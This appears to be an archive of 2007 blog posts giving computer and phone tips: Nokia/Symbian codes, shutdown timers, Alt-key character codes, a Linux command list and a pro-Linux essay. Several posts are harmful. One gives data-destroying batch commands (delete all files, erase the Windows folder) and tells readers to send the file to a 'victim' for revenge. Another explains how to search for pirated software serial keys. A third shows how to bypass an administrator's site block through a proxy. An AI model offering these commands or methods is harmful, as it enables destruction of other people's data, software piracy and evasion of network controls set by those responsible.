*#94870345123456789# Deactivate the PWM-Mem
**21*number# Turn on "All Calls" diverting to the phone number entered
**61*number# Turn on "No Reply" diverting to the phone number entered
**67*number# Turn on "On Busy" diverting to the phone number entered
12345 This is the default security code
press and hold # Lets you switch between lines
*#3283# or *#DATE# Date of Manufacture
*#682371158412125# Software Version

A Website Tells U If Your Computer Ports Are Hacked Or Not

2007-11-20T20:43:00.000-08:00

Goto this site mentioned below and test will start automatically:
http://probe.hackerwatch.org/probe/probe.asp

You need to wait 1 min before the test will start

info:Port Scan
This server will now attempt to open several common ports on your computer. The results of these attempts will be displayed on this page as Open, Closed, or Secure:

If your firewall is configured to block a port, and it is operating correctly, you will see Secure and an event will be logged on your firewall.
A Closed port indicates that the port is reachable but there is no program currently accepting connections there.
If the port is indicated as Open there is an application or service on your computer actively accepting connections.

The time to check each port will range from less than a second up to 20 seconds. Ports which are Secure will take the most time and if u are secured after the test ends tells u

Test complete.
No open ports were found

Lock Unlock Folder Using .bat file

2007-11-20T04:15:00.000-08:00

Suppose you want to lock the folder games in d: which has the path D:\GamesIn the same drive create a text file and type
ren games games.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Now save this text file as loc.bat

create another text file and type in it
ren games.{21EC2020-3AEA-1069-A2DD-08002B30309D} games
Now save this text file as key.bat

Now you can see 2 batch files loc and key.Press loc and the folder games will change to control panel and you cannot view its contents.Press key and you will get back your original folder.

try it out!!!!!!!

Auto Shutdown Pc With Timer, No Softwares Required

2007-11-20T04:13:00.000-08:00

METHOD # 1

How To Make A Shutdown Timer!

Step 1:

Right click on your desktop and choose "New=>shortcuts".

Step 2:

In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next.

Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.

Step 3:

Make up a name for the shortcut and you're done.
You can change the icon by right c=>properities=>change icon=>browse.

To abort

To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.

METHOD # 2

Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in

start=>Run

Type Code: at 11:35 shutdown -s

to abort

Code:

shutdown -a

take note: all time are in 24hr, example u would like to shutdown at 8:30pm, you should type

"at 20:30 shutdown -s" without quote

METHOD # 3

you can use a batch for that as well it makes it easier to use
just run the batch and enter the time you want it to shutdown

shutdown.bat
Type Code:
@echo off
title Scheduled Shutdown Batch Example by chacha1234
color A
echo Enter Time To Shutdown (example 19:30)
set /p stime=
cls
at %stime% ""shutdown -s -t 00"" >nul
echo Your PC Will Auto Shutdown At %stime%
echo Press Any Key To Exit
pause >nul
exit

Get The Serial Number You Need

2007-11-20T03:31:00.000-08:00

* Go to Google.

* In the search field type: "Product name" 94FBR

* Where, "Product Name" is the name of the item you want to find the serial number for.

* And voila - there you go - the serial number you needed.

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things. 1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for. 2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:

"Photoshop 7" 94FBR
"Age of Mythology" 94FBR
"Nero Burning Rom 5.5" 94FBR

Alt + NumKey Code Details

2007-11-20T03:28:00.000-08:00

Alt key + Four digits

¤ Alt+0164
† Alt+0134
× Alt+0215
÷ Alt+0247
¶ Alt+0182
‡ Alt+0135
± Alt+0177
— Alt+0151
– Alt+0150
§ Alt+0167
ˆ Alt+0136
˜ Alt+0152
« Alt+0171
» Alt+0187
¦ Alt+0166
‰ Alt+0137
© Alt+0169
® Alt+0174
™ Alt+0153

á Alt+0225
à Alt+0224
â Alt+0226ä Alt+0228
å Alt+0229
Á Alt+0193
Ã Alt+0195

Ä Alt+0196
Å Alt+0197
À Alt+0192
Â Alt+0194
æ Alt+0230
Æ Alt+0198
ç Alt+0231
Ç Alt+0199
ê Alt+0234
é Alt+0233
ë Alt+0235
è Alt+0232
Ê Alt+0202
Ë Alt+0203
É Alt+0201
È Alt+0200
ï Alt+0239í Alt+0237
î Alt+0238
ì Alt+0236
Í Alt+0205
Ì Alt+0204
Î Alt+0206
Ï Alt+0207
ñ Alt+0241
Ñ Alt+0209
œ Alt+0156
Œ Alt+0140

ô Alt+0244
ö Alt+0246
ò Alt+0242
õ Alt+0245
ó Alt+0243
ø Alt+0248
Ó Alt+0211
Ô Alt+0212
Õ Alt+0213
Ø Alt+0216
Ö Alt+0214Ò Alt+
š Alt+0154
Š Alt+0138
ú Alt+0250
ü Alt+0252
û Alt+0251
ù Alt+0249
Ù Alt+0217
Ú Alt+0218
Ü Alt+0220
Û Alt+0219
ÿ Alt+0255
Ÿ Alt+0159
ý Alt+0253
Ý Alt+0221
ž Alt+0158
Ž Alt+0142

ª Alt+0170
Þ Alt+0222
þ Alt+0254
ƒ Alt+0131
ß Alt+0223
µ Alt+0181Ð Alt+0208
° Alt+0176
º Alt+0186
• Alt+0149

(larger bullet)

„ Alt+0132
… Alt+0133
¬ Alt+0172
¿ Alt+0191
¡ Alt+0161
¥ Alt+0165
£ Alt+0163
€ Alt+0128
¢ Alt+0162
¹ Alt+0185
² Alt+0178
³ Alt+0179
½ Alt+0189
¼ Alt+0188
¾ Alt+0190

Alt key + Three digits

128 Ç
129 ü
130 é
131 â
132 ä
133 à
134 å
135 ç
136 ê
137 ë
138 è
139 ï
140 î

141 ì
142 Ä
143 Å
144 É
145 æ
146 Æ
147 ô
148 ö
149 ò
150 û

(Greek letters and math symbols are between 224 and 247)

151 ù
152 ÿ
153 Ö
154 Ü
160 á
161 í
162 ó
163 ú
164 ñ
165 Ñ
167 º
168 ¿
248 °
250 · (smaller bullet)

Charts For specific languages
(Alt key + 3 digits is to left of accented letters; Alt key + 4 digits is to the right)

FRENCH

133 à (0224)
131 â (0226)
135 ç (0231)
130 é (0233)
138 è (0232)
136 ê (0234)
137 ë (0235)
140 î (0238)
139 ï (0239)
oe ligature (0156)
147 ô (0244)
151 ù (0249)
150 û (0251)

183 À (0192)
182 Â (0194)
128 Ç (0199)
212 È (0200)
144 É (0201)
210 Ê (0202)
211 Ë (0203)
215 Î (0206)
216 Ï (0207)
OE ligature (0140)

SPANISH

160 á (0225)
130 é (0233)
161 í (0237)
164 ñ (0241)
162 ó (0243)
163 ú (0250)
129 ü (0252)

Á (0193)
144 É (0201)
Í (0205)
165 Ñ (0209)
Ó (0211)
Ú (0218)
154 Ü (0220)
168 ¿ (0191)
173 ¡ (0161)

French Continued

226 Ô (0212)
235 Ù (0217)
234 Û (0219)
174 « (0171)
175 » (0187)

ITALIAN

133 à (0224)
138 è (0232)
141 ì (0236)
149 ò (0242)
151 ù (0249)

183 À (0192)
212 È (0200)
Ì (0204)
Ò (0210)
Ù (0217)

PORTUGUESE

ã (0227)
Ã (0195)
135 ç (0231)
128 Ç (0199)
149 ò (0242)
Ò (0210)
162 ó (0243)
Ó (0211)
õ (0245)
Õ (0213)

Polish
GERMAN/SCANDINAVIAN

132 ä (0228)
134 å (0229)
145 æ (0230)
ð (0240)
137 ë (0235)
148 ö (0246)
155 ø (0248)
225 ß (0223)
þ (0254)
129 ü (0252)
152 ÿ (0255)

142 Ä (0196)
143 Å (0197)
146 Æ (0198)
Ð (0208)
Ë (0203)
153 Ö (0214)
157 Ø (0216)
Þ (0222)
154 Ü (0220)

If Orkut Is Blocked by Administrator

2007-11-20T03:27:00.000-08:00

This is for all those who cannot access orkut and also cant open it through kproxy.com.. .

Follow these following steps to open orkut....

1. go to the url bar and type 66.232.117.243
2. type just these numeric literals..witn no www or .com
3. it vil open the site kproxy.com.. .{ without shutting down ur systems }
4. now just type in www.orkut.com in the given box of kproxy.com and enjoy orkut..color]

How To Make A Powerfull Virus With Only Notepad

2007-11-20T03:23:00.000-08:00

delete all folders/files just put this:

DEL /F /Q *

Into notpad and save it as whateveryouwant.cmd

It will delete all files on the computer even if they are read only and it will not promt you to do it. You will not think any thing has happend untill you try and do something.

WARNING DO NOT CLICK ON IT WHEN YOU HAVE CREATED IT, IT WILL DESTROY YOUR COMPUTER

If you just want to delete the WINDOWS file do this:

The only thing you need again is Notepad.

Now, to test it, create a textfile called TEST.txt in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do a "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" then open up C:\ and you'll see your Test.txt is gone. Now, the real work begins:

Go to Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as whateveryouwant.cmd. Now DON'T run the file or you'll lose your WINDOWS files. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX files are gone. And have to install LINUX/WINDOWS again.

Simple explanation:

Go to notepad, type erase C:\WINDOWS, save as whateveryouwant.cmd send to victim, once the victim opens it, the WINDOWS file will be gone and have to install WINDOWS again.

Some Gr8 Tutorial Websites

2007-11-20T03:22:00.000-08:00

http://www.programmingtutorials.com/cplusplus.aspx
http://www.cplusplus.com/doc/tutorial/
http://www.cs.tut.fi/~jkorpela/perl/course.html
http://pscode.com
http://hotscripts.com
http://www.codeproject.com
http://www.freevbcode.com
http://www.garybeene.com
http://www.pixel2life.com <---- Elite stuff
http://www.javacoffeebreak.com
http://www.developerfusion.co.uk
http://gamedev.net
http://www.awaretek.com/tutorials.html#begin <--300+ Python Tutorials'
http://www.phpfreaks.com/ <---- Best tutorials of php
http://www.freeprogrammingresources.com
http://www.php.net
http://www.planetsourcecode.com <--- Best for all kinda tutorials
http://www.yourhtmlsource.com <--- good if you want to mess with some 3d stuff.. note this is not all about Game/3d
they do have some intro tutorials to the Win32 API
http://www.topcoder.com
http://www.torry.net/
http://www.programmingtutorials.com/cplusplus.aspx
http://www.cprogramming.com/
http://www.cs.mcgill.ca/~stever/games/
http://www.euclideanspace.com/software/games/index.htm
http://www.gamedev.net/
http://www.w3schools.com <---- Good HTML and other web design tutorials
http://www.programmingtutorials.com/
http://www.programmingtutorials.com/cplusplus.aspx <---- C++
http://www.sean.cruels.net/ <--- SQL, Java, VB, HTML, Direct X, etc
http://www.console-world.org/CTutorials.htm <--- C video Tutorials
http://www.hazirkod.com/ <---- this site is in some other language but u can get the programmes from here

Tips & Tricks For Symbians

2007-11-20T03:21:00.000-08:00

Tip 1 : Do u know how to use the edit button (abc or pencil button)?
Heres how... in the inbox for example; u wanna delete multiple sms, simply hold the edit button, scroll down, and then, press c to delete the marked sms. The edit button can also b used to copy and past text in sms, simply hold it and scroll across, choose copy. pretty good for placing song names in ngages

Tip 2 : Shit happens, on a smartphone, its inevitable u do something wrong, and tis calls for a format of fone. to format the fone, press *#7370#, then enter the lock code, which is the sec code of the fone. NOTE: batt must b full, else if format is disrupted by low batt, consequences will b disatrous
I heard the code *#7780# works too, pretty much the same i tink.

for 6600 users, to format the fone, theres an alternative way. Press and hold <3>, <*> and Call (Send) buttons, then power on fone, keep holding on the 3 buttons, till u come to a format screen. this method ONLY works on 6600, and need not enter the sec code. BUT sec code would be reset to default 12345.

Tip 3 : TO NGAGE USERS; Did u know u can install .sis files simply using the cable given? Juz plug it in, place the .sis file anywhere on e: (the mmc), not in any folders, root of e:, disconnect, then look for it in manager.

Tip 4: Save on battery and system memory being used by regulary checking the task manager which can be accessed by holding down the menu button!!

Tip 5: Type *#06# to display your IMEI serial number, very valuable for the unlocking your phone to other sim cards

Tip 6: Type *#0000# to view which firmware version you are running

Tip 4a: Set the screen saver to a short time out period to prolong battery life.
Tip 4b: Avoid restarting the phone, or repeatedly turning it on and off. This helps increase battery life.

Tip 7: If you would like to avoid being "blue jacked", keep bluetooth turned off, or set your phone's visibility to hidden.

Tip 8: Don't want to carry a watch and a phone? Set the screen saver to show date and time, then you can ditch the watch.

Tip 9: Save memory when installing apps, by installing over bluetooth. This can be done using the nokia phone suite and a bluetooth serial connection. Only works with .SIS files, so java still has to be sent to the phone, but will save space when using .SIS files.

Tip 10: Operator logos
Use a filemanager like FExplorer or SeleQ to add the folders: "c:/system/Apps/phone/oplogo". Add a .bmp picture to folder "oplogo" and restart your phone! The .bmp picture size needs to be: 97 x 25 pixels

Tip 11: Check if the recepients phone is on
Delivery reports

or

Type *0# your message in the message composer window space then write your message, the recipient will not see the star zero hash bit - just the message When they read it it will relay a message back to your fone showing the time they recieved it. (haven't yet tried it myself though)

Tip 12: BlueJacking

First up, you need to know what Bluetooth is. There are lots of types of modern devices that incorporate Bluetooth as one of their many features. PDAs, mobile phones and laptops are a few of these modern devices. Bluetooth means that Bluetooth enabled devices can send things like phonebook/address book contacts, pictures & notes to other Bluetooth enabled devices wirelessly over a range of about 10 metres. So, we've got past the boring part. Now, using a phone with Bluetooth, you can create a phonebook contact and write a message, eg. 'Hello, you've been bluejacked', in the 'Name' field. Then you can search for other phones with Bluetooth and send that phonebook contact to them. On their phone, a message will popup saying "'Hello, you've been bluejacked' has just been received by Bluetooth" or something along those lines. For most 'victims' they will have no idea as to how the message appeared on their phone.

Tip 13: While you are viewing a picture in your phone's gallery, press one of these shortcut keys (definitely works on 6600, not sure about other symbians)
1 - turn image anticlockwise
3 - turn image clockwise
* - toggle on/off of full screen
5 - zoom in
0 - zoom out

#15 u can select all files in a folder by selecting THE folder and copy it then paste it somewhere. however u need to make a new directory. fexplorer wun let u copy that folder together. well seleQ can mark files to copy but it really takes time!

#16: A soft and Hard reset
A Soft-reset - the process of resetting all the settings of the phone to the factory default! No applications are deleted! A Hard-reset is like formatting a drive! It does format the memory. Everything that has been installed after the first use of the phone is deleted! It will recover the memory of the phone to the state you purchased it! It is done by inputing the following code: *#7370# NOTE: The battery must be full or the charger has to be connected to the phone so that it does not run out of power and make the phone unusable.

#17: Formats of images

supported ones: JPG UPF GIF87a/89a WBMB MBM TIFF/F PNG EXIF

How to copy & paste text in your Nokia 3650:
Press and hold the pencil key and select your text using the scroll key.
Left function key will change to 'Copy'. Press it to copy the selected text to clipboard.
You can paste the clipboard contents the same way:
press and hold the pencil key and press 'Paste'. Or, press pencil key once and select 'Paste'.

Press and hold the Menu key to open the application switching window, where you can *duh* switch between applications.
If a program hangs and you can't shut it down, select the application in the
application switching window and press 'C' to kill it. It's also a faster way to exit programs.

Turn on/off the "click" sound made by the camera by selecting the 'Silent' profile or by turning warning tones on/off:
Menu > Profiles > "select your activated profile" > Personalise > Warning tones > On/Off.
(This also effects the sound of Java games and apps).

To change background image go to:
Menu > Tools > Settings > Phone > Standby mode > Background image > Yes > "choose an image".
The best size for background images is 174x132 pixels.

Only got blue, green and purple in your 3650 colour palette?
This free app adds 3 more colours: Palette Extender.

Display an image when someone's calling:
Menu > Contacts > "select a contact card" > Options > Edit > Options > Add thumbnail > "choose an image".

Add a personal ringing tone to a contact:
Menu > Contacts > "select a contact card" > Options > Open > Options > Ringing tone > "choose a ringing tone".

Delete all messages from your Inbox at once:
Menu > Messaging > Inbox > Options > Mark/Unmark > Mark all > Options > Delete.

Send or hide your caller ID: Go to: Menu > Tools > Settings > Call > Send My
Caller ID > 'Yes', 'No' or 'Set By Network' to follow the default settings of your home network.

If you often copy large files to your MultiMedia Card, I recommend a card reader.
E.g. With a card reader it takes only 12 seconds to copy a 10 MB file!

Record the sound of a phone call using the (sound) Recorder.
Menu > Extra's > Recorder > Options > Record sound clip.
Note: short beeps are audible during call registration.
But there is a 60 second limitation so if you want unlimited sound recording get this app: Extended Recorder.

While writing text, press "#" to switch between upper and lower case and Dictonary on/off (predictive text input).
Press and hold "#" to switch between Alpha mode and Number mode.

Keyboard shortcuts for zooming and rotating images in Images:
1 = zoom in, 0 = zoom out, press and hold to return to the normal view.
2 = rotate anticlockwise, 9 = rotate clockwise, * = full screen.

In standby mode, press and hold the right soft key to activate voice dialling.
To add a voice tag to a phone number, open a contact card and scroll to the phone number and select:
Options > Add voice tag.

You can customize both soft keys located below the screen (in standby mode):
Menu > Tools > Settings > Phone > Standby mode > Left/Right selection key > "select an application".

In standby mode. press scroll key center (joystick) to go directly to Contacts.

In standby mode, press and hold 0 to launch your wap home page.

In Menu or any subfolder, press numbers 1 - 9 to start the application at that location.
123
456
789

In standby mode,
45# + dials the number on your sim in memory slot 45.
50# + dials slot 50 and so on.

If you have your keylock activated just press the on/off button to turn on your backlight
to look at the time when it's dark without having to unlock the keypad.

Never, ever, in your whole life, install WildSkinz on your Nokia 3650!!! WildSkinz screws up
the whole 3650 system. It was never intended to work on the 3650, only on the 7650.

Why assigning Video Recorder in the right or left soft key does not work?

(Sound Recorder is launched instead of Video Recorder)
It's a bug with firmware version 2.50.
How to check your firmware version:

A "Firmware" is the phone's operating system stored in internal Flash memory of the device (disk Z.
Manufacturers release new firmware versions containing bug fixes, improvements and - sometimes - offering new functions.
Firmware upgrade can only be made in authorized Nokia service centre (point).
To check your current firmware version simply type *#0000# on main Phone screen.
·
How to check your IMEI (International Mobile Equipment Identity)?

Type *#06# on main Phone screen.

Start up in Safe Mode so no 'auto start' apps will be running:

To make sure that no memory-resident programs start when you reboot your phone,
hold down the pencil key when you turn on the phone and hold it on untill you have to enter your PIN code.
(When you have trouble booting up the phone with the MMC in it because it got corrupted for some reason, this trick will
almost always let you boot up the phone so you can remove the latest installed app which might have caused the
problem or if your phone is "unrepairable" you can still back up your important data before you do a format.)
Q: How to totally format your Nokia 3650 and remove all installed applications, user files and restore all
settings to default like it's new out of the box? (OEM apps won't be deleted like Camera and RealOne Player).

A: First Format your MMC: Menu > Extras > Memory > Options > Format mem. card > Yes.
Note: It is very important to format your MMC before you format your phone!
Then format your phone by typing *#7370# on main Phone screen.
Phone will ask: "Restore all original phone settings? Phone will restart." Press 'Yes' and enter your Lock code (default is 12345).
Tip: Formatting takes several minutes so you'd better connect your Nokia 3650
to a charger to ensure that your battery doesn't get empty in the middle of formatting.
Note: All your created acces points and mailboxes will be lost so take a note of them. And all application settings will be reset.
E.g. In Camera, image quality is set back to normal and memory in use is set back to phone memory. And also in Messages,
memory in use is set back to phone memory, etc. Also backup your contacts with PC Suite or a program like Contacts Manager.

To reset your wallet, should you forget your code,

Type in:
*#7370925538#

this will reset the wallet code, the wallet contents will be deleted.

-------------------------------------------------------------------------------------------

How to free more RAM on your phone >>>

>>> Method 1: Flight mode:

Put your phone in "Flight mode" with Psiloc System Tools. Install System Tools, open it and select "Flight mode". This way you can restart the phone without your SIM card so there will be no running phone tasks in the background. Now you can have up to 3,5 MB of free RAM!
Note: ironically enough, Flight mode doesn't work when Smart Launcher is installed, at least in my case.
But i've also heard several reports of people who have both apps running without any problems.

>>> Method 2: Smart Launcher trick:

Install Smart Launcher and open it. Go to Options, Settings and put Launcher ON.
Now plug in your charger and switch off your phone. Wait untill the battery meter appears and short press the Menu button (don't hold).
The menu should appear and now you can have 3,5 to 4,5 MB free RAM! (Hold Menu button to check RAM).
The trick is that with the charger plugged in, the phone must get a minimum software support for charging, even when
the phone is switched off. And somehow Smart Launcher has still got it's shortcut running and that's the Menu button. So when
you press the Menu button, you go directly to the Menu without any other phone tasks running in the background so
you trick the phone and you have more free RAM!
Note: when you unplug the charger, the phone will switch off.
>>> Method 3: Menu :

This method I found it by myself, it frees a little about 100~200 KB but I guess it's useful sometime
Close your menu not by selecting the right selection key "exit", or pressing the menu key another time, they only hide the menu app but do not close it, to close it select the left selection key "option" and scroll down and select "exit"
So when you open an app needs more ram reopen menu and close it, it's useful when play low bit rate video in realplayer paradis.

Some Linux Bash Command Line

2007-11-20T03:14:00.000-08:00

alias Create an alias
apropos Search Help manual pages (man -k)
awk Find and Replace text, database sort/validate/index
break Exit from a loop
builtin Run a shell builtin
bzip2 Compress or decompress named file(s)

cal Display a calendar
case Conditionally perform a command
cat Display the contents of a file
cd Change Directory
cfdisk Partition table manipulator for Linux
chgrp Change group ownership
chmod Change access permissions
chown Change file owner and group
chroot Run a command with a different root directory
cksum Print CRC checksum and byte counts
clear Clear terminal screen
cmp Compare two files
comm Compare two sorted files line by line
command Run a command - ignoring shell functions
continue Resume the next iteration of a loop
cp Copy one or more files to another location
cron Daemon to execute scheduled commands
crontab Schedule a command to run at a later time
csplit Split a file into context-determined pieces
cut Divide a file into several parts

date Display or change the date & time
dc Desk Calculator
dd Data Dump - Convert and copy a file
declare Declare variables and give them attributes
df Display free disk space
diff Display the differences between two files
diff3 Show differences among three files
dig DNS lookup
dir Briefly list directory contents
dircolors Colour setup for `ls'
dirname Convert a full pathname to just a path
dirs Display list of remembered directories
du Estimate file space usage

echo Display message on screen
egrep Search file(s) for lines that match an extended expression
eject Eject removable media
enable Enable and disable builtin shell commands
env Environment variables
ethtool Ethernet card settings
eval Evaluate several commands/arguments
exec Execute a command
exit Exit the shell
expand Convert tabs to spaces
export Set an environment variable
expr Evaluate expressions

false Do nothing, unsuccessfully
fdformat Low-level format a floppy disk
fdisk Partition table manipulator for Linux
fgrep Search file(s) for lines that match a fixed string
file Determine file type
find Search for files that meet a desired criteria
fmt Reformat paragraph text
fold Wrap text to fit a specified width.
for Expand words, and execute commands
format Format disks or tapes
free Display memory usage
fsck File system consistency check and repair
ftp File Transfer Protocol
function Define Function Macros

gawk Find and Replace text within file(s)
getopts Parse positional parameters
grep Search file(s) for lines that match a given pattern
groups Print group names a user is in
gzip Compress or decompress named file(s)

hash Remember the full pathname of a name argument
head Output the first part of file(s)
history Command History
hostname Print or set system name

id Print user and group id's
if Conditionally perform a command
ifconfig Configure a network interface
import Capture an X server screen and save the image to file
install Copy files and set attributes

join Join lines on a common field

kill Stop a process from running

less Display output one screen at a time
let Perform arithmetic on shell variables
ln Make links between files
local Create variables
locate Find files
logname Print current login name
logout Exit a login shell
look Display lines beginning with a given string
lpc Line printer control program
lpr Off line print
lprint Print a file
lprintd Abort a print job
lprintq List the print queue
lprm Remove jobs from the print queue
ls List information about file(s)
lsof List open files

make Recompile a group of programs
man Help manual
mkdir Create new folder(s)
mkfifo Make FIFOs (named pipes)
mkisofs Create an hybrid ISO9660/JOLIET/HFS filesystem
mknod Make block or character special files
more Display output one screen at a time
mount Mount a file system
mtools Manipulate MS-DOS files
mv Move or rename files or directories

netstat Networking information
nice Set the priority of a command or job
nl Number lines and write files
nohup Run a command immune to hangups
nslookup Query Internet name servers interactively

passwd Modify a user password
paste Merge lines of files
pathchk Check file name portability
ping Test a network connection
popd Restore the previous value of the current directory
pr Prepare files for printing
printcap Printer capability database
printenv Print environment variables
printf Format and print data
ps Process status
pushd Save and then change the current directory
pwd Print Working Directory

quota Display disk usage and limits
quotacheck Scan a file system for disk usage
quotactl Set disk quotas

ram ram disk device
rcp Copy files between two machines.
read read a line from standard input
readonly Mark variables/functions as readonly
remsync Synchronize remote files via email
return Exit a shell function
rm Remove files
rmdir Remove folder(s)
rsync Remote file copy (Synchronize file trees)

screen Terminal window manager
scp Secure copy (remote file copy)
sdiff Merge two files interactively
sed Stream Editor
select Accept keyboard input
seq Print numeric sequences
set Manipulate shell variables and functions
sftp Secure File Transfer Program
shift Shift positional parameters
shopt Shell Options
shutdown Shutdown or restart linux
sleep Delay for a specified time
sort Sort text files
source Run commands from a file `.'
split Split a file into fixed-size pieces
ssh Secure Shell client (remote login program)
strace Trace system calls and signals
su Substitute user identity
sum Print a checksum for a file
symlink Make a new name for a file
sync Synchronize data on disk with memory

tail Output the last part of files
tar Tape ARchiver
tee Redirect output to multiple files
test Evaluate a conditional expression
time Measure Program running time
times User and system times
touch Change file timestamps
top List processes running on the system
traceroute Trace Route to Host
trap Run a command when a signal is set(bourne)
tr Translate, squeeze, and/or delete characters
true Do nothing, successfully
tsort Topological sort
tty Print filename of terminal on stdin
type Describe a command

ulimit Limit user resources
umask Users file creation mask
umount Unmount a device
unalias Remove an alias
uname Print system information
unexpand Convert spaces to tabs
uniq Uniquify files
units Convert units from one scale to another
unset Remove variable or function names
unshar Unpack shell archive scripts
until Execute commands (until error)
useradd Create new user account
usermod Modify user account
users List users currently logged in
uuencode Encode a binary file
uudecode Decode a file created by uuencode

v Verbosely list directory contents (`ls -l -b')
vdir Verbosely list directory contents (`ls -l -b')
vi Text Editor

watch Execute/display a program periodically
wc Print byte, word, and line counts
whereis Report all known instances of a command
which Locate a program file in the user's path.
while Execute commands
who Print all usernames currently logged in
whoami Print the current user id and name (`id -un')
Wget Retrieve web pages or files via HTTP, HTTPS or FTP

xargs Execute utility, passing constructed argument list(s)
yes Print a string until interrupted

.period Run commands from a file
### Comment / Remark

Ten Reasons Linux And Bsd (including Mac Os X) Are Vastly Superior To Windows

2007-11-20T03:08:00.000-08:00

Linux and BSD are vastly superior to Windows in every way. Don't believe me? Read on, my friend. Read on and realize the folly of your MS ways.

The top ten list
#10 - Total cost of ownership ranges very low to nothing for Linux.
For that matter, ownership isn't really a term you can apply to your Windows box. M*cro$oft allows you to use their software, for a hefty fee, and you are limited as to how you can use your software and what machines you can install it on. Want to install a new CPU in your Windows box? Sorry, you'll have to "activate" your copy of Windows again. Want to actually be productive with Windows right out of the box? Sorry, it doesn't come with any software, unless you count Notepad and Solitaire. But that's another point entirely...

You can freely download Linux from thousands of different websites. If you don't have a fast internet connection, you can also purchase it for a very, very small fee - usually not much more than the cost of the CD's themselves plus shipping. Even if you purchase a full retail version of a major Linux distro, say Novell's Suse or Red Hat Enterprise Linux Workstation, you're still far short of the cost of Windows plus the cost of all the software you'll still have to purchase to bring Windows up to the basic usability level as your average Linux distribution.

Bottom line: If you are only considering cost - Linux and BSD will always be cheaper than Windows in every scenario. Game over. Windows cannot compete in cost.

#9 - Linux and BSD distributions give you more complete, usable operating environments out of the box.
Take this test: Download and install any Linux distribution and take a look at all of the applications that come with your new system. Office apps, Web browsers, Chat clients, Programming tools, Network tools, Server software, Games, Administration tools. Now, do a fresh install of any version of Windows and take a look at what you get. Nothing. (maybe some server software, if you installed a "server" version of Windows) But, in order for a Windows system to have the same level of productivity as a Linux system, you must install many, many third-party applications after the install.

Bottom line: If you need to be productive quickly, Linux and BSD distributions are exponentially more capable out of the box. Sorry Windows, can't compete here either.

#8 - Viruses and Spyware are basically nonexistant for Linux and BSD.
There are a handful of Linux viruses, I know, but the difference is, the security paradigm for Linux and BSD is completely different than Windows. You aren't administrator by default in Linux systems. If you do something malicious in Windows, you could wipe out your whole system. In Linux, you'll just destroy your own user files and your system will keep purring along. But if you're still paranoid about viruses on your Linux box, there are excellent free antivirus packages you can download and use on any distribution (ClamAV is an excellent choice).

Bottom line: If you're worried about viruses and spyware, Windows is very susceptible. Linux and BSD are practically immune to all known viruses and your system will continue to perform while all of your Windows friends are overwhelmed. Buh-bye, Windows.

#7 - Linux and BSD systems are more stable than Windows.
Because of the way Unix-like systems are designed and the underlying concepts behind the way they run, Linux and BSD will always be more stable than Windows. In fact, M*cro$oft has "borrowed" parts of BSD in the past to improve versions of Windows.

Think about this: There is a reason why BSD and Linux are used in large supercomputer clusters, datacenters, web server farms, graphics rendering farms, and other areas where Windows simply cannot extend or compete in areas of scalability, performance and stability. The bottom line is, if your business has critical data, don't entrust it to Windows.

#6 - Linux and BSD supports more hardware out-of-the-box.
You may not believe me. You may be scoffing right now, but it's true. Try this: Install any Linux distro. How many drivers did you have to install during the install or after? Maybe graphics and that's it. Now install Windows. After you've installed the base OS, you'll have to install your network card drivers, graphics card drivers, sound card drivers, motherboard chipset drivers, printer drivers and maybe more if you have some specialized hardware.

It's not that Linux doesn't use drivers for your hardware, it's the fact that the Linux kernel source package contains Open Source versions of most of the drivers you'll need. The reasons you might have to install drivers after the install are for proprietary/trade secret things like certain wireless cards (Intel) and nVidia/ATI video cards.

Bottom line: Linux-based systems support more hardware by default and will make you more productive out-of-the-box.

#5 - It's easy and fun to develop high-quality software for Linux and BSD.
The de-facto C/C++ compiler for Linux/BSD is gcc and it's free. Several very good IDE's (Integrated Development Environments) that allow you to quickly and easily develop GUI and CLI applications are also free. The Netwide Assembler (NASM) is free. Python, Ruby, Perl, Java, PHP, Fortran, ADA, Pascal, Prolog, Lisp, Eiffel, ML, Tcl/Tk, Forth - over 183 languages with freely available compilers. You can build everything from mission critical embedded applications to large, distributed simulation apps. Sure, you can develop some good software for Windows, but it will cost you. The best Windows compilers are very expensive.

Do you need to understand how the OS works to hook in your application? Check out the kernel source. Need your own device driver? Not a problem. You've got the kernel headers freely available with plenty of documentation. Want to actually learn how a modern, standards compliant, multi-user operating system works? Check the kernel source! Are you seeing a pattern here? Ask M*cro$oft for a copy of Windows source code for free and see if you get it.

Bottom line: Linux and BSD provide better developer support with a large range of free compilers, IDE's and access to the operating system source code.

#4 - Linux and BSD distributions are more configurable and modular.
Can you strip Windows down to just a command line interface without the GUI for a server? Can you install a completely different shell? Different windowing system? The design philosophy of Unix dictates that tasks be broken into small parts and nothing is overly complex. Small programs can be linked together to perform advanced tasks and as a result those small programs can be replaced with other versions without any harm to the underlying OS. Something as trivial as the directory listing command in a Unix system is it's own program and can be replaced with another, if you wish. The directory listing command in Windows is a function of the shell. This is just one example of the design behind a Linux/BSD system and you can find many more by exploring a little in your favorite distro.

#3 - Linux and BSD perform better on any given platform.
Part of this point relates to the modularity of Unix-like systems, but it's generally true that Linux and BSD perform better on older systems and allow you to extend the life of your hardware investment. Many perfectly fine older machines can be turned into usable Linux desktop systems or servers but are unable to run Windows XP or the upcoming Vista. Companies and Universities are even clustering together many Linux systems for a distributed computing environment and enable supercomputer-class performance for a fraction of the cost.

Some distributions that are compiled from source code, like Gentoo, offer a higher level of performance due to the fact that the software is compiled specifically for your machine, not some laboratory system that is compiling software for the lowest common denominator CPU type. Software optimized for your Pentium 4 system performs better if compiled on your system versus software compiled for a generic i386 target system.

#2 - Linux and BSD don't limit your platform choices.
